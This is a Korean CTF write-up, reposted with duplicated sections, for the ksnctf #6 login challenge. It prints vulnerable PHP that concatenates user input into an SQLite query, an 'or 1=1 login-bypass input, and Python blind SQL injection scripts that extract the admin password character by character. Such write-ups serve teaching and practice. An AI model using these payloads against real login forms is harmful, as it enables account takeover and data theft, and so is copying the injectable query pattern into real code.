ksnctf#6 로그인
14921 단어 SQL 주입파이썬CTF블라인드 SQL 주입
로그인
문제
login: 로그인
문제를 보면 url이 있다. 열어 보면 ID와 Pass를 입력하는 상자가 있습니다.
우선, SQL 인젝션을 시험해 본다.
ID:admin
Pass:'or 1=1;
이것으로 송신해 보면, 이하의 php가 얻어졌다.
Congratulations!
It's too easy?
Don't worry.
The flag is admin's password.
Hint:
<?php
function h($s){return htmlspecialchars($s,ENT_QUOTES,'UTF-8');}
$id = isset($_POST['id']) ? $_POST['id'] : '';
$pass = isset($_POST['pass']) ? $_POST['pass'] : '';
$login = false;
$err = '';
if ($id!=='')
{
$db = new PDO('sqlite:database.db');
$db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_SILENT);
$r = $db->query("SELECT * FROM user WHERE id='$id' AND pass='$pass'");
$login = $r && $r->fetch();
if (!$login)
$err = 'Login Failed';
}
?><!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>q6q6q6q6q6q6q6q6q6q6q6q6q6q6q6q6</title>
</head>
<body>
<?php if (!$login) { ?>
<p>
First, login as "admin".
</p>
<div style="font-weight:bold; color:red">
<?php echo h($err); ?>
</div>
<form method="POST">
<div>ID: <input type="text" name="id" value="<?php echo h($id); ?>"></div>
<div>Pass: <input type="text" name="pass" value="<?php echo h($pass); ?>"></div>
<div><input type="submit"></div>
</form>
<?php } else { ?>
<p>
Congratulations!<br>
It's too easy?<br>
Don't worry.<br>
The flag is admin's password.<br>
<br>
Hint:<br>
</p>
<pre><?php echo h(file_get_contents('index.php')); ?></pre>
<?php } ?>
</body>
</html>
ID가 admin인 pass가 FLAG로 되어 있는 것 같다.
이 문제를 해결하기 위해 블라인드 SQL 주입을 사용합니다.
블라인드 SQL 주입은 응답 페이지에서 정보를 직접 훔치는 것이 아니라 삽입된 SQL에 대한 응답 페이지의 차이로 인해 데이터베이스 관리 시스템에 대한 정보(예: 실행 사용자 및 테이블 이름)를 훔치는 것입니다.
이번 응답 페이지에는 로그인이 성공했을 때는 상기의 php의 페이지가 표시되고, 실패했을 때는 이하와 같은 페이지가 표시된다. 이 응답 페이지의 차이를 이용하여 pass를 찾아 간다.
우선, FLAG의 문자수를 조사한다. 지금까지의 문제로부터 FLAG의 길이는 20문자 정도이므로, 10문자~30문자의 사이에서 FLAG의 길이를 조사해 본다.
import requests
url = 'http://ctfq.sweetduet.info:10080/~q6/'
n=0
for i in range (10,30):
#print(i)
sql = " \' OR (SELECT LENGTH(pass) FROM user WHERE id = \'admin\')={num}--".format(num = i)
payload = {
'id': 'admin ',
'pass': sql
}
response = requests.post(url,data=payload)
if len(response.text)>1000:
print(i)
break
requests는 Python의 HTTP 라이브러리에서 GET 요청 등을 할 수 있다.
sql = " \' OR (SELECT LENGTH(pass) FROM user WHERE id = \'admin\')={num}--".format(num = i)
여기서 SQL문을 만든다. user 테이블에서, id가 admin인 것의 pass의 길이를 취득해, 그 길이를 10~30의 사이에 비교하고 있다. 값이 같아지면 응답 페이지의 문자수(response.text)가 커지므로 이 차이를 이용하여 response.text의 문자수가 1000보다 큰 경우 로그인할 수 있었다고 판단한다.
이 결과 FLAG의 문자수는 21인 것을 알 수 있었다.
다음에, 1 문자씩 송신하여 FLAG를 확정시켜 간다. FLAG에 사용되는 문자는 a-z, A-Z, _, 0-9이므로, ASCII 코드로 48~123까지의 문자를 차례로 시험해 간다.
import requests
url = 'http://ctfq.sweetduet.info:10080/~q6/'
for i in range(1,22):
for char_num in range(48,123):
char = chr(char_num)
sql = " \' OR SUBSTR((SELECT pass FROM user WHERE id = \'admin\'),{index},1)=\'{num}\' --".format(index = i,num = char)
payload = {
'id': 'admin ',
'pass': sql
}
response = requests.post(url,data=payload)
if len(response.text)>1000:
print(char, end="")
sql = " \' OR SUBSTR((SELECT pass FROM user WHERE id = \'admin\'),{index},1)=\'{num}\' --".format(index = i,num = char)
SUBSTR은 SUBSTR(문자열, 시작 자리수, 잘라내기 문자수)처럼 사용한다. pass의 i번째 문자로부터 1문자 잘라낸 것(pass의 i번째 문자)과 48~123을 chr()로 문자로 한 것을 순차적으로 비교해, 동일할 때(응답 페이지의 문자수가 1000보다 큰 )에 해당 문자를 표시합니다.
Reference
이 문제에 관하여(ksnctf#6 로그인), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다
https://qiita.com/NakashimaKenta/items/23f14b7783074906929f
텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
우수한 개발자 콘텐츠 발견에 전념
(Collection and Share based on the CC Protocol.)
Congratulations!
It's too easy?
Don't worry.
The flag is admin's password.
Hint:
<?php
function h($s){return htmlspecialchars($s,ENT_QUOTES,'UTF-8');}
$id = isset($_POST['id']) ? $_POST['id'] : '';
$pass = isset($_POST['pass']) ? $_POST['pass'] : '';
$login = false;
$err = '';
if ($id!=='')
{
$db = new PDO('sqlite:database.db');
$db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_SILENT);
$r = $db->query("SELECT * FROM user WHERE id='$id' AND pass='$pass'");
$login = $r && $r->fetch();
if (!$login)
$err = 'Login Failed';
}
?><!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>q6q6q6q6q6q6q6q6q6q6q6q6q6q6q6q6</title>
</head>
<body>
<?php if (!$login) { ?>
<p>
First, login as "admin".
</p>
<div style="font-weight:bold; color:red">
<?php echo h($err); ?>
</div>
<form method="POST">
<div>ID: <input type="text" name="id" value="<?php echo h($id); ?>"></div>
<div>Pass: <input type="text" name="pass" value="<?php echo h($pass); ?>"></div>
<div><input type="submit"></div>
</form>
<?php } else { ?>
<p>
Congratulations!<br>
It's too easy?<br>
Don't worry.<br>
The flag is admin's password.<br>
<br>
Hint:<br>
</p>
<pre><?php echo h(file_get_contents('index.php')); ?></pre>
<?php } ?>
</body>
</html>
import requests
url = 'http://ctfq.sweetduet.info:10080/~q6/'
n=0
for i in range (10,30):
#print(i)
sql = " \' OR (SELECT LENGTH(pass) FROM user WHERE id = \'admin\')={num}--".format(num = i)
payload = {
'id': 'admin ',
'pass': sql
}
response = requests.post(url,data=payload)
if len(response.text)>1000:
print(i)
break
sql = " \' OR (SELECT LENGTH(pass) FROM user WHERE id = \'admin\')={num}--".format(num = i)
import requests
url = 'http://ctfq.sweetduet.info:10080/~q6/'
for i in range(1,22):
for char_num in range(48,123):
char = chr(char_num)
sql = " \' OR SUBSTR((SELECT pass FROM user WHERE id = \'admin\'),{index},1)=\'{num}\' --".format(index = i,num = char)
payload = {
'id': 'admin ',
'pass': sql
}
response = requests.post(url,data=payload)
if len(response.text)>1000:
print(char, end="")
sql = " \' OR SUBSTR((SELECT pass FROM user WHERE id = \'admin\'),{index},1)=\'{num}\' --".format(index = i,num = char)
Reference
이 문제에 관하여(ksnctf#6 로그인), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다 https://qiita.com/NakashimaKenta/items/23f14b7783074906929f텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
우수한 개발자 콘텐츠 발견에 전념 (Collection and Share based on the CC Protocol.)